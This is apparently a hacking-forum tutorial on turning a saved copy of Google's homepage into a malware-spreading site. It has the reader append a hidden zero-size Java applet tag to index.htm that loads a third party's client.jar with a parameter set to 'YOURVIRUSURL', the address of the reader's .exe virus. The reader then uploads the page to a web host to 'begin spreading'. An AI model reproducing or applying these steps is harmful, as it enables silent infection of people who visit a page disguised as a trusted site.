This is my first tutorial on HF, please be nice. The client.jar file and the applet code is SinlorD's, so all credits for those goes to him. Download You'll only need one file, client.jar. Downloading a web page Well, obviously we have a web page we want to download. In this example I'll be using Google. Right click anywhere on the page and click "save as". And save it to an empty folder. I'm using Chrome but I know firefox has a similar feature. Editing the index file Now open the folder where you saved the file. You'll see you'll have a file and a folder. Rename the file from whatever.htm to index.htm and accept any warning you may get. Now open up index.htm in notepad. Scroll down to the very bottom of the page, make a new line and add this text: <APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0"> <PARAM NAME = "AMLMAFOIEA" VALUE = "YOURVIRUSURL"> </APPLET> Replace "YOURVIRUSURL" with the link to your .exe virus. Save and close the file. Placing the .jar file Quick step, copy the client.jar you downloaded earlier to the same folder as the index.htm. That's it! Upload all of the files in the folder (including the folder "whatever_files") to a webhost and begin spreading! #Source: here.
